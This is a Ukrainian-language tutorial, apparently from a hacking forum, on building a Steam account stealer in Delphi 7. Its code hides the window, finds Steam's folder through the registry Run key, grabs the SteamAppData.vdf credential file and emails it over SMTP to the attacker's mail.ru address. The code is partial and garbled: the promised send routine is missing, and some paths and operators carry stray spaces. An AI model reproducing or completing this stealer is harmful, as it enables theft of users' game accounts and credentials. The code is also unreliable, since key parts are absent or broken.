Створюємо Стіллер Steam на Delphi
Сьогодні ми будемо писати свій Стіллер на Delphi 7.
Він буде багато важити
800кб (так я знаю консоль + winsock рулять але мені було лінь).
І так що нам потрібно буде реалізувати:
1. Пошук папки стіма і самого файлу з пасами
2. Відправлення файлу на пошту.
Відкриємо Delphi 7, створимо проект. Створили? йдемо далі.
Щоб форми не було при відкритті Стіллера додамо рядок.
Для роботи з реєстром в Uses пропишемо Registry;
Додамо компонент IdAntiFreeze з вкладки IndyMisc
Додамо переменнние
[DELPHI] var
Form1: TForm1;
m: TIdMessage;
sm: tidsmtp;
att: tidattachment; [/ DELPHI]
Створимо процедуру для конекту і відправки файлу
[DELPHI] function ReadReg (root: integer; t, key: string): string;
var
s: string;
reg: TRegistry;
begin
reg: = TRegistry.Create;
reg.RootKey: = root;
reg.OpenKey (key, true);
case reg.Getdatatype (t) of
rdString, rdExpandString:
s: = reg.ReadString (t);
rdInteger:
s: = IntToStr (reg.readinteger (t));
else
s: = 'other type';
end;
result: = s;
reg.Free;
end; [/ DELPHI]
Кількома 2 рази по формі
застосуємо процедури
procedure TForm1.FormCreate (Sender: TObject);
var
regpath, path: string;
begin
regpath: = ReadReg (HKEY_CURRENT_USER, 'Steam', '\ Softw are \ Microsoft \ Windows \ CurrentVersion \ Run');
path: = Pars ( ' "', regpath, '"');
path: = ExtractFilePath (path) + 'config \ SteamAppData.v df';
send (path, 'логин@mail.ru', 'пароль', 'Куди слать@mail.ru');
end;
Усе. З кодом ми закінчили. Тепер приступимо з зміни іконки і компіляції.
Змінити іконку не складе проблем.
Збережемо проект.
File -> Save as -> Обов'язково виберіть окрему папку.
компілюємо
Сам exe файл Сораном в вашу папку з проектом.
Все Стіллер готовий.